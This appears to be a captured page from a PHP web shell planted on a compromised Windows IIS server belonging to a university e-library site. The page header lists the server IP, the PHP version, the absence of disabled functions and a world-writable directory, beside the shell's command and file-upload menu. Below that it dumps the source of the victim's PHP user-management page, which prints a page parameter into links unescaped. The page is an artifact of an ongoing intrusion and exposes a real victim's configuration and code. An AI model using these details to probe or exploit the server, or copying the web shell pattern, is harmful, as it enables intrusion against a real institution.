Server IP : 103.11.96.170 / Your IP : 3.149.237.146 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/backend/../surat-fti/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php //session if(empty($_SESSION['admin'])){ $_SESSION['err'] = '<center>Anda harus login terlebih dahulu!</center>'; header("Location: ./"); die(); } else { if(isset($_REQUEST['act'])){ $act = $_REQUEST['act']; switch ($act) { case 'add': include "tambah_user.php"; break; case 'edit': include "edit_tipe_user.php"; break; case 'del': include "hapus_user.php"; break; } } else { //pagging $limit = 5; $pg = @$_GET['pg']; if(empty($pg)){ $curr = 0; $pg = 1; } else { $curr = ($pg - 1) * $limit; } $query = mysqli_query($config, "SELECT * FROM tbl_user LIMIT $curr, $limit"); echo '<!-- Row Start --> <div class="row"> <!-- Secondary Nav START --> <div class="col s12"> <div class="z-depth-1"> <nav class="secondary-nav"> <div class="nav-wrapper blue-grey darken-1"> <div class="col m12"> <ul class="left"> <li class="waves-effect waves-light hide-on-small-only"><a href="?page=sett&sub=usr" class="judul"><i class="material-icons">people</i> Manajemen User</a></li> <li class="waves-effect waves-light"> <a href="?page=sett&sub=usr&act=add"><i class="material-icons md-24">person_add</i> Tambah User</a> </li> </ul> </div> </div> </nav> </div> </div> <!-- Secondary Nav END --> </div> <!-- Row END -->'; if(isset($_SESSION['succAdd'])){ $succAdd = $_SESSION['succAdd']; echo '<div id="alert-message" class="row"> <div class="col m12"> <div class="card green lighten-5"> <div class="card-content notif"> <span class="card-title green-text"><i class="material-icons md-36">done</i> '.$succAdd.'</span> </div> </div> </div> </div>'; unset($_SESSION['succAdd']); } if(isset($_SESSION['succEdit'])){ $succEdit = $_SESSION['succEdit']; echo '<div id="alert-message" class="row"> <div class="col m12"> <div class="card green lighten-5"> <div class="card-content notif"> <span class="card-title green-text"><i class="material-icons md-36">done</i> '.$succEdit.'</span> </div> </div> </div> </div>'; unset($_SESSION['succEdit']); } if(isset($_SESSION['succDel'])){ $succDel = $_SESSION['succDel']; echo '<div id="alert-message" class="row"> <div class="col m12"> <div class="card green lighten-5"> <div class="card-content notif"> <span class="card-title green-text"><i class="material-icons md-36">done</i> '.$succDel.'</span> </div> </div> </div> </div>'; unset($_SESSION['succDel']); } echo ' <!-- Row form Start --> <div class="row jarak-form"> <div class="col m12" id="colres"> <!-- Table START --> <table class="bordered" id="tbl"> <thead class="blue lighten-4" id="head"> <tr> <th width="8%">No</th> <th width="23%">Username</th> <th width="30%">Nama<br/>NIP</th> <th width="22%">Level</th> <th width="16%">Tindakan</th> </tr> </thead> <tbody> <tr>'; if(mysqli_num_rows($query) > 0){ $no = 1; while($row = mysqli_fetch_array($query)){ echo '<td>'.$no++.'</td>'; if($row['admin'] == 1){ $row['admin'] = 'Super Admin'; } elseif($row['admin'] == 2){ $row['admin'] = 'Administrator'; } else { $row['admin'] = 'User Biasa'; } echo '<td>'.$row['username'].'</td> <td>'.$row['nama'].'<br/>'.$row['nip'].'</td> <td>'.$row['admin'].'</td> <td>'; if($_SESSION['username'] == $row['username']){ echo '<button class="btn small blue-grey waves-effect waves-light"><i class="material-icons">error</i> No Action</button>'; } else { if($row['id_user'] == 1){ echo '<button class="btn small blue-grey waves-effect waves-light"><i class="material-icons">error</i> No Action</button>'; } else { echo ' <a class="btn small blue waves-effect waves-light" href="?page=sett&sub=usr&act=edit&id_user='.$row['id_user'].'"> <i class="material-icons">edit</i> EDIT</a> <a class="btn small deep-orange waves-effect waves-light" href="?page=sett&sub=usr&act=del&id_user='.$row['id_user'].'"><i class="material-icons">delete</i> DEL</a>'; } } echo '</td> </tr> </tbody>'; } } else { echo '<tr><td colspan="5"><center><p class="add">Tidak ada data untuk ditampilkan</p></center></td></tr>'; } echo '</table> <!-- Table END --> </div> </div> <!-- Row form END -->'; $query = mysqli_query($config, "SELECT * FROM tbl_user"); $cdata = mysqli_num_rows($query); $cpg = ceil($cdata/$limit); echo '<!-- Pagination START --> <ul class="pagination">'; if($cdata > $limit){ if($pg > 1){ $prev = $pg - 1; echo '<li><a href="?page=sett&sub=usr&pg=1"><i class="material-icons md-48">first_page</i></a></li> <li><a href="?page=sett&sub=usr&pg='.$prev.'"><i class="material-icons md-48">chevron_left</i></a></li>'; } else { echo '<li class="disabled"><a href=""><i class="material-icons md-48">first_page</i></a></li> <li class="disabled"><a href=""><i class="material-icons md-48">chevron_left</i></a></li>'; } //perulangan pagging for($i=1; $i <= $cpg; $i++) if($i != $pg){ echo '<li class="waves-effect waves-dark"><a href="?page=sett&sub=usr&pg='.$i.'"> '.$i.' </a></li>'; } else { echo '<li class="active waves-effect waves-dark"><a href="?page=sett&sub=usr&pg='.$i.'"> '.$i.' </a></li>'; } //last and next pagging if($pg < $cpg){ $next = $pg + 1; echo '<li><a href="?page=sett&sub=usr&pg='.$next.'"><i class="material-icons md-48">chevron_right</i></a></li> <li><a href="?page=sett&sub=usr&pg='.$cpg.'"><i class="material-icons md-48">last_page</i></a></li>'; } else { echo '<li class="disabled"><a href=""><i class="material-icons md-48">chevron_right</i></a></li> <li class="disabled"><a href=""><i class="material-icons md-48">last_page</i></a></li>'; } echo ' </ul> <!-- Pagination END -->'; } else { echo ''; } } } ?>